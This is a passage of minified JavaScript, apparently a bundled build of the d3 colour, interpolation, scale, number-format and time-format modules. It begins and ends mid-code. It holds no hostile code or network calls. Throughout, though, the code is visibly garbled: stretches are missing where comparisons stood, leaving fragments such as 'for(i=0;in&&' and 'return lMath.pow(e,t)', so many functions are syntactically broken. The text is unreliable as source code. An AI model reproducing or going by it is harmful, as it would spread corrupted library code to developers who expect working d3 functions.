u?(t===l?c=(n-r)/u+(n0&&f<1?0:c,new wr(c,u,f,e.opacity)}function CW(e,t,n,r){return arguments.length===1?UD(e):new wr(e,t,n,r??1)}function wr(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Mx(wr,CW,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new wr(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new wr(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new En(ky(e>=240?e-240:e+120,i,r),ky(e,i,r),ky(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new wr(nN(this.h),nd(this.s),nd(this.l),eh(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=eh(this.opacity);return`${e===1?"hsl(":"hsla("}${nN(this.h)}, ${nd(this.s)*100}%, ${nd(this.l)*100}%${e===1?")":`, ${e})`}`}}));function nN(e){return e=(e||0)%360,e<0?e+360:e}function nd(e){return Math.max(0,Math.min(1,e||0))}function ky(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const jx=e=>()=>e;function _W(e,t){return function(n){return e+n*t}}function TW(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function NW(e){return(e=+e)==1?HD:function(t,n){return n-t?TW(t,n,e):jx(isNaN(t)?n:t)}}function HD(e,t){var n=t-e;return n?_W(e,n):jx(isNaN(e)?t:e)}const rN=(function e(t){var n=NW(t);function r(i,l){var c=n((i=ab(i)).r,(l=ab(l)).r),u=n(i.g,l.g),f=n(i.b,l.b),h=HD(i.opacity,l.opacity);return function(p){return i.r=c(p),i.g=u(p),i.b=f(p),i.opacity=h(p),i+""}}return r.gamma=e,r})(1);function MW(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(l){for(i=0;in&&(l=t.slice(n,l),u[c]?u[c]+=l:u[++c]=l),(r=r[0])===(i=i[0])?u[c]?u[c]+=i:u[++c]=i:(u[++c]=null,f.push({i:c,x:th(r,i)})),n=Ly.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function UW(e,t,n){var r=e[0],i=e[1],l=t[0],c=t[1];return i2?HW:UW,f=h=null,m}function m(y){return y==null||isNaN(y=+y)?l:(f||(f=u(e.map(r),t,n)))(r(c(y)))}return m.invert=function(y){return c(i((h||(h=u(t,e.map(r),th)))(y)))},m.domain=function(y){return arguments.length?(e=Array.from(y,nh),p()):e.slice()},m.range=function(y){return arguments.length?(t=Array.from(y),p()):t.slice()},m.rangeRound=function(y){return t=Array.from(y),n=Px,p()},m.clamp=function(y){return arguments.length?(c=y?!0:un,p()):c!==un},m.interpolate=function(y){return arguments.length?(n=y,p()):n},m.unknown=function(y){return arguments.length?(l=y,m):l},function(y,x){return r=y,i=x,p()}}function Rx(){return yp()(un,un)}function qW(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function rh(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ll(e){return e=rh(Math.abs(e)),e?e[1]:NaN}function FW(e,t){return function(n,r){for(var i=n.length,l=[],c=0,u=e[0],f=0;i>0&&u>0&&(f+u+1>r&&(u=Math.max(1,r-f)),l.push(n.substring(i-=u,i+u)),!((f+=u+1)>r));)u=e[c=(c+1)%e.length];return l.reverse().join(t)}}function VW(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var KW=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Lc(e){if(!(t=KW.exec(e)))throw new Error("invalid format: "+e);var t;return new Dx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Lc.prototype=Dx.prototype;function Dx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Dx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function YW(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var qD;function GW(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1],l=i-(qD=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,c=r.length;return l===c?r:l>c?r+new Array(l-c+1).join("0"):l>0?r.slice(0,l)+"."+r.slice(l):"0."+new Array(1-l).join("0")+rh(e,Math.max(0,t+l-1))[0]}function iN(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const oN={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:qW,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>iN(e*100,t),r:iN,s:GW,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function lN(e){return e}var sN=Array.prototype.map,cN=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function WW(e){var t=e.grouping===void 0||e.thousands===void 0?lN:FW(sN.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",l=e.numerals===void 0?lN:VW(sN.call(e.numerals,String)),c=e.percent===void 0?"%":e.percent+"",u=e.minus===void 0?"−":e.minus+"",f=e.nan===void 0?"NaN":e.nan+"";function h(m){m=Lc(m);var y=m.fill,x=m.align,S=m.sign,w=m.symbol,O=m.zero,A=m.width,_=m.comma,T=m.precision,j=m.trim,M=m.type;M==="n"?(_=!0,M="g"):oN[M]||(T===void 0&&(T=12),j=!0,M="g"),(O||y==="0"&&x==="=")&&(O=!0,y="0",x="=");var P=w==="$"?n:w==="#"&&/[boxX]/.test(M)?"0"+M.toLowerCase():"",R=w==="$"?r:/[%p]/.test(M)?c:"",I=oN[M],B=/[defgprs%]/.test(M);T=T===void 0?6:/[gprs]/.test(M)?Math.max(1,Math.min(21,T)):Math.max(0,Math.min(20,T));function q(U){var V=P,oe=R,le,ce,L;if(M==="c")oe=I(U)+oe,U="";else{U=+U;var F=U<0||1/U<0;if(U=isNaN(U)?f:I(Math.abs(U),T),j&&(U=YW(U)),F&&+U==0&&S!=="+"&&(F=!1),V=(F?S==="("?S:u:S==="-"||S==="("?"":S)+V,oe=(M==="s"?cN[8+qD/3]:"")+oe+(F&&S==="("?")":""),B){for(le=-1,ce=U.length;++leL||L>57){oe=(L===46?i+U.slice(le+1):U.slice(le))+oe,U=U.slice(0,le);break}}}_&&!O&&(U=t(U,1/0));var $=V.length+U.length+oe.length,Z=$>1)+V+U+oe+Z.slice($);break;default:U=Z+V+U+oe;break}return l(U)}return q.toString=function(){return m+""},q}function p(m,y){var x=h((m=Lc(m),m.type="f",m)),S=Math.max(-8,Math.min(8,Math.floor(Ll(y)/3)))*3,w=Math.pow(10,-S),O=cN[8+S/3];return function(A){return x(w*A)+O}}return{format:h,formatPrefix:p}}var rd,kx,FD;XW({thousands:",",grouping:[3],currency:["$",""]});function XW(e){return rd=WW(e),kx=rd.format,FD=rd.formatPrefix,rd}function ZW(e){return Math.max(0,-Ll(Math.abs(e)))}function QW(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(Ll(t)/3)))*3-Ll(Math.abs(e)))}function JW(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,Ll(t)-Ll(e))+1}function VD(e,t,n,r){var i=nb(e,t,n),l;switch(r=Lc(r??",f"),r.type){case"s":{var c=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(l=QW(i,c))&&(r.precision=l),FD(r,c)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(l=JW(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=l-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(l=ZW(i))&&(r.precision=l-(r.type==="%")*2);break}}return kx(r)}function _i(e){var t=e.domain;return e.ticks=function(n){var r=t();return eb(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return VD(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,l=r.length-1,c=r[i],u=r[l],f,h,p=10;for(u0;){if(h=tb(c,u,n),h===f)return r[i]=c,r[l]=u,t(r);if(h>0)c=Math.floor(c/h)*h,u=Math.ceil(u/h)*h;else if(h<0)c=Math.ceil(c*h)/h,u=Math.floor(u*h)/h;else break;f=h}return e},e}function KD(){var e=Rx();return e.copy=function(){return ru(e,KD())},pr.apply(e,arguments),_i(e)}function YD(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,nh),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return YD(e).unknown(t)},e=arguments.length?Array.from(e,nh):[0,1],_i(n)}function GD(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],l=e[r],c;return lMath.pow(e,t)}function aX(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function dN(e){return(t,n)=>-e(-t,n)}function Lx(e){const t=e(uN,fN),n=t.domain;let r=10,i,l;function c(){return i=aX(r),l=rX(r),n()[0]<0?(i=dN(i),l=dN(l),e(eX,tX)):e(uN,fN),t}return t.base=function(u){return arguments.length?(r=+u,c()):r},t.domain=function(u){return arguments.length?(n(u),c()):n()},t.ticks=u=>{const f=n();let h=f[0],p=f[f.length-1];const m=p0){for(;y<=x;++y)for(S=1;Sp)break;A.push(w)}}else for(;y<=x;++y)for(S=r-1;S>=1;--S)if(w=y>0?S/l(-y):S*l(y),!(wp)break;A.push(w)}A.length*2{if(u==null&&(u=10),f==null&&(f=r===10?"s":","),typeof f!="function"&&(!(r%1)&&(f=Lc(f)).precision==null&&(f.trim=!0),f=kx(f)),u===1/0)return f;const h=Math.max(1,r*u/t.ticks().length);return p=>{let m=p/l(Math.round(i(p)));return m*rn(GD(n(),{floor:u=>l(Math.floor(i(u))),ceil:u=>l(Math.ceil(i(u)))})),t}function WD(){const e=Lx(yp()).domain([1,10]);return e.copy=()=>ru(e,WD()).base(e.base()),pr.apply(e,arguments),e}function hN(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function pN(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function Ix(e){var t=1,n=e(hN(t),pN(t));return n.constant=function(r){return arguments.length?e(hN(t=+r),pN(t)):t},_i(n)}function XD(){var e=Ix(yp());return e.copy=function(){return ru(e,XD()).constant(e.constant())},pr.apply(e,arguments)}function mN(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function iX(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function oX(e){return e<0?-e*e:e*e}function zx(e){var t=e(un,un),n=1;function r(){return n===1?e(un,un):n===.5?e(iX,oX):e(mN(n),mN(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},_i(t)}function $x(){var e=zx(yp());return e.copy=function(){return ru(e,$x()).exponent(e.exponent())},pr.apply(e,arguments),e}function lX(){return $x.apply(null,arguments).exponent(.5)}function vN(e){return Math.sign(e)*e*e}function sX(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function ZD(){var e=Rx(),t=[0,1],n=!1,r;function i(l){var c=sX(e(l));return isNaN(c)?r:n?Math.round(c):c}return i.invert=function(l){return e.invert(vN(l))},i.domain=function(l){return arguments.length?(e.domain(l),i):e.domain()},i.range=function(l){return arguments.length?(e.range((t=Array.from(l,nh)).map(vN)),i):t.slice()},i.rangeRound=function(l){return i.range(l).round(!0)},i.round=function(l){return arguments.length?(n=!!l,i):n},i.clamp=function(l){return arguments.length?(e.clamp(l),i):e.clamp()},i.unknown=function(l){return arguments.length?(r=l,i):r},i.copy=function(){return ZD(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},pr.apply(i,arguments),_i(i)}function QD(){var e=[],t=[],n=[],r;function i(){var c=0,u=Math.max(1,t.length);for(n=new Array(u-1);++c0?n[u-1]:e[0],u=n?[r[n-1],t]:[r[h-1],r[h]]},c.unknown=function(f){return arguments.length&&(l=f),c},c.thresholds=function(){return r.slice()},c.copy=function(){return JD().domain([e,t]).range(i).unknown(l)},pr.apply(_i(c),arguments)}function ek(){var e=[.5],t=[0,1],n,r=1;function i(l){return l!=null&&l<=l?t[tu(e,l,0,r)]:n}return i.domain=function(l){return arguments.length?(e=Array.from(l),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(l){return arguments.length?(t=Array.from(l),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(l){var c=t.indexOf(l);return[e[c-1],e[c]]},i.unknown=function(l){return arguments.length?(n=l,i):n},i.copy=function(){return ek().domain(e).range(t).unknown(n)},pr.apply(i,arguments)}const Iy=new Date,zy=new Date;function Lt(e,t,n,r){function i(l){return e(l=arguments.length===0?new Date:new Date(+l)),l}return i.floor=l=>(e(l=new Date(+l)),l),i.ceil=l=>(e(l=new Date(l-1)),t(l,1),e(l),l),i.round=l=>{const c=i(l),u=i.ceil(l);return l-c(t(l=new Date(+l),c==null?1:Math.floor(c)),l),i.range=(l,c,u)=>{const f=[];if(l=i.ceil(l),u=u==null?1:Math.floor(u),!(l0))return f;let h;do f.push(h=new Date(+l)),t(l,u),e(l);while(hLt(c=>{if(c>=c)for(;e(c),!l(c);)c.setTime(c-1)},(c,u)=>{if(c>=c)if(u<0)for(;++u<=0;)for(;t(c,-1),!l(c););else for(;--u>=0;)for(;t(c,1),!l(c););}),n&&(i.count=(l,c)=>(Iy.setTime(+l),zy.setTime(+c),e(Iy),e(zy),Math.floor(n(Iy,zy))),i.every=l=>(l=Math.floor(l),!isFinite(l)||!(l>0)?null:l>1?i.filter(r?c=>r(c)%l===0:c=>i.count(0,c)%l===0):i)),i}const ah=Lt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);ah.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?Lt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):ah);ah.range;const ya=1e3,lr=ya*60,ba=lr*60,Ca=ba*24,Bx=Ca*7,gN=Ca*30,$y=Ca*365,Ji=Lt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*ya)},(e,t)=>(t-e)/ya,e=>e.getUTCSeconds());Ji.range;const Ux=Lt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*ya)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getMinutes());Ux.range;const Hx=Lt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*lr)},(e,t)=>(t-e)/lr,e=>e.getUTCMinutes());Hx.range;const qx=Lt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*ya-e.getMinutes()*lr)},(e,t)=>{e.setTime(+e+t*ba)},(e,t)=>(t-e)/ba,e=>e.getHours());qx.range;const Fx=Lt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*ba)},(e,t)=>(t-e)/ba,e=>e.getUTCHours());Fx.range;const au=Lt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*lr)/Ca,e=>e.getDate()-1);au.range;const bp=Lt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ca,e=>e.getUTCDate()-1);bp.range;const tk=Lt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Ca,e=>Math.floor(e/Ca));tk.range;function Oo(e){return Lt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*lr)/Bx)}const xp=Oo(0),ih=Oo(1),cX=Oo(2),uX=Oo(3),Il=Oo(4),fX=Oo(5),dX=Oo(6);xp.range;ih.range;cX.range;uX.range;Il.range;fX.range;dX.range;function Eo(e){return Lt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/Bx)}const wp=Eo(0),oh=Eo(1),hX=Eo(2),pX=Eo(3),zl=Eo(4),mX=Eo(5),vX=Eo(6);wp.range;oh.range;hX.range;pX.range;zl.range;mX.range;vX.range;const Vx=Lt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());Vx.range;const Kx=Lt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());Kx.range;const _a=Lt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());_a.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:Lt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});_a.range;const Ta=Lt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());Ta.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:Lt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});Ta.range;function nk(e,t,n,r,i,l){const c=[[Ji,1,ya],[Ji,5,5*ya],[Ji,15,15*ya],[Ji,30,30*ya],[l,1,lr],[l,5,5*lr],[l,15,15*lr],[l,30,30*lr],[i,1,ba],[i,3,3*ba],[i,6,6*ba],[i,12,12*ba],[r,1,Ca],[r,2,2*Ca],[n,1,Bx],[t,1,gN],[t,3,3*gN],[e,1,$y]];function u(h,p,m){const y=pO).right(c,y);if(x===c.length)return e.every(nb(h/$y,p/$y,m));if(x===0)return ah.every(Math.max(nb(h,p,m),1));const[S,w]=c[y/c[x-1][2]53)return null;"w"in ne||(ne.w=1),"Z"in ne?(je=Uy(sc(ne.y,0,1)),bt=je.getUTCDay(),je=bt>4||bt===0?oh.ceil(je):oh(je),je=bp.offset(je,(ne.V-1)*7),ne.y=je.getUTCFullYear(),ne.m=je.getUTCMonth(),ne.d=je.getUTCDate()+(ne.w+6)%7):(je=By(sc(ne.y,0,1)),bt=je.getDay(),je=bt>4||bt===0?ih.ceil(je):ih(je),je=au.offset(je,(ne.V-1)*7),ne.y=je.getFullYear(),ne.m=je.getMonth(),ne.d=je.getDate()+(ne.w+6)%7)}else("W"in ne||"U"in ne)&&("w"in ne||(ne.w="u"in ne?ne.u%7:"W"in ne?1:0),bt="Z"in ne?Uy(sc(ne.y,0,1)).getUTCDay():By(sc(ne.y,0,1)).getDay(),ne.m=0,ne.d="W"in ne?(ne.w+6)%7+ne.W*7-(bt+5)%7:ne.w+ne.U*7-(bt+6)%7);return"Z"in ne?(ne.H+=ne.Z/100|0,ne.M+=ne.Z%100,Uy(ne)):By(ne)}}function I(Q,fe,he,ne){for(var Ke=0,je=fe.length,bt=he.length,xt,Cn;Ke=bt)return-1;if(xt=fe.charCodeAt(Ke++),xt===37){if(xt=fe.charAt(Ke++),Cn=M[xt in yN?fe.charAt(Ke++):xt],!Cn||(ne=Cn(Q,he,ne))<0)return-1}else if(xt!=he.charCodeAt(ne++))return-1}return ne}function B(Q,fe,he){var ne=h.exec(fe.slice(he));return ne?(Q.p=p.get(ne[0].toLowerCase()),he+ne[0].length):-1}function q(Q,fe,he){var ne=x.exec(fe.slice(he));return ne?(Q.w=S.get(ne[0].toLowerCase()),he+ne[0].length):-1}function U(Q,fe,he){var ne=m.exec(fe.slice(he));return ne?(Q.w=y.get(ne[0].toLowerCase()),he+ne[0].length):-1}function V(Q,fe,he){var ne=A.exec(fe.slice(he));return ne?(Q.m=_.get(ne[0].toLowerCase()),he+ne[0].length):-1}function oe(Q,fe,he){var ne=w.exec(fe.slice(he));return ne?(Q.m=O.get(ne[0].toLowerCase()),he+ne[0].length):-1}function le(Q,fe,he){return I(Q,t,fe,he)}function ce(Q,fe,he){return I(Q,n,fe,he)}function L(Q,fe,he){return I(Q,r,fe,he)}function F(Q){return c[Q.getDay()]}function $(Q){return l[Q.getDay()]}function Z(Q){return f[Q.getMonth()]}function de(Q){return u[Q.getMonth()]}function D(Q){return i[+(Q.getHours()>=12)]}function X(Q){return 1+~~(Q.getMonth()/3)}function ae(Q){return c[Q.getUTCDay()]}function se(Q){return l[Q.getUTCDay()]}function me(Q){return f[Q.getUTCMonth()]}function xe(Q){return u[Q.getUTCMonth()]}function ee(Q){return i[+(Q.getUTCHours()>=12)]}function _e(Q){return 1+~~(Q.getUTCMonth()/3)}return{format:function(Q){var fe=P(Q+="",T);return fe.toString=function(){return Q},fe},parse:function(Q){var fe=R(Q+="",!1);return fe.toString=function(){return Q},fe},utcFormat:function(Q){var fe=P(Q+="",j);return fe.toString=function(){return Q},fe},utcParse:function(Q){var fe=R(Q+="",!0);return fe.toString=function(){return Q},fe}}}var yN={"-":"",_:" ",0:"0"},Kt=/^\s*\d+/,SX=/^%/,OX=/[\\^$*+?|[\]().{}]/g;function qe(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",l=i.length;return r+(l[t.toLowerCase(),n]))}function AX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function CX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function _X(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function TX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function NX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function bN(e,t,n){var r=Kt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function xN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function MX(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function jX(e,t,n){var r=Kt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function PX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function wN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function RX(e,t,n){var r=Kt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function SN(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function DX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function kX(e,t,n){var r=Kt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function LX(e,t,n){var r=Kt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function IX(e,t,n){var r=Kt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function zX(e,t,n){var r=SX.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function $X(e,t,n){var r=Kt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function BX(e,t,n){var r=Kt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function ON(e,t){return qe(e.getDate(),t,2)}function UX(e,t){return qe(e.getHours(),t,2)}function HX(e,t){return qe(e.getHours()%12||12,t,2)}function qX(e,t){return qe(1+au.count(_a(e),e),t,3)}function rk(e,t){return qe(e.getMilliseconds(),t,3)}function FX(e,t){return rk(e,t)+"000"}function VX(e,t){return qe(e.getMonth()+1,t,2)}function KX(e,t){return qe(e.getMinutes(),t,2)}function YX(e,t){return qe(e.getSeconds(),t,2)}function GX(e){var t=e.getDay();return t===0?7:t}function WX(e,t){return qe(xp.count(_a(e)-1,e),t,2)}function ak(e){var t=e.getDay();return t>=4||t===0?Il(e):Il.ceil(e)}function XX(e,t){return e=ak(e),qe(Il.count(_a(e),e)+(_a(e).getDay()===4),t,2)}function ZX(e){return e.getDay()}function QX(e,t){return qe(ih.count(_a(e)-1,e),t,2)}function JX(e,t){return qe(e.getFullYear()%100,t,2)}function eZ(e,t){return e=ak(e),qe(e.getFullYear()%100,t,2)}function tZ(e,t){return qe(e.getFullYear()%1e4,t,4)}function nZ(e,t){var n=e.getDay();return e=n>=4||n===0?Il(e):Il.ceil(e),qe(e.getFullYear()%1e4,t,4)}function rZ(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+qe(t/60|0,"0",2)+qe(t%60,"0",2)}function EN(e,t){return qe(e.getUTCDate(),t,2)}function aZ(e,t){return qe(e.getUTCHours(),t,2)}function iZ(e,t){return qe(e.getUTCHours()%12||12,t,2)}function oZ(e,t){return qe(1+bp.count(Ta(e),e),t,3)}function ik(e,t){return qe(e.getUTCMilliseconds(),t,3)}function lZ(e,t){return ik(e,t)+"000"}function sZ(e,t){return qe(e.getUTCMonth()+1,t,2)}function cZ(e,t){return qe(e.getUTCMinutes(),t,2)}function uZ(e,t){return qe(e.getUTCSeconds(),t,2)}function fZ(e){var t=e.getUTCDay();return t===0?7:t}function dZ(e,t){return qe(wp.count(Ta(e)-1,e),t,2)}function ok(e){var t=e.getUTCDay();return t>=4||t===0?zl(e):zl.ceil(e)}function hZ(e,t){return e=ok(e),qe(zl.count(Ta(e),e)+(Ta(e).getUTCDay()===4),t,2)}function pZ(e){return e.getUTCDay()}function mZ(e,t){return qe(oh.count(Ta(e)-1,e),t,2)}function vZ(e,t){return qe(e.getUTCFullYear()%100,t,2)}function gZ(e,t){return e=ok(e),qe(e.getUTCFullYear()%100,t,2)}function yZ(e,t){return qe(e.getUTCFullYear()%1e4,t,4)}function bZ(e,t){var n=e.getUTCDay();return e=n>=4||n===0?zl(e):zl.ceil(e),qe(e.getUTCFullYear()%1e4,t,4)}function xZ(){return"+0000"}function AN(){return"%"}function CN(e){return+e}function _N(e){return Math.floor(+e/1e3)}var bl,lk,sk;wZ({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function wZ(e){return bl=wX(e),lk=bl.format,bl.parse,sk=bl.utcFormat,bl.utcParse,bl}function SZ(e){return new Date(e)}function OZ(e){return e instanceof Date?+e:+new Date(+e)}function Yx(e,t,n,r,i,l,c,u,f,h){var p=Rx(),m=p.invert,y=p.domain,x=h(".%L"),S=h(":%S"),w=h("%I:%M"),O=h("%I %p"),A=h("%a %d"),_=h("%b %d"),T=h("%B"),j=h("%Y");function M(P){return(f(P)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,l)=>fW(e,l/r))},n.copy=function(){return dk(t).domain(e)},Da.apply(n,arguments)}function Op(){var e=0,t=.5,n=1,r=1,i,l,c,u,f,h=un,p,m=!1,y;function x(w){return 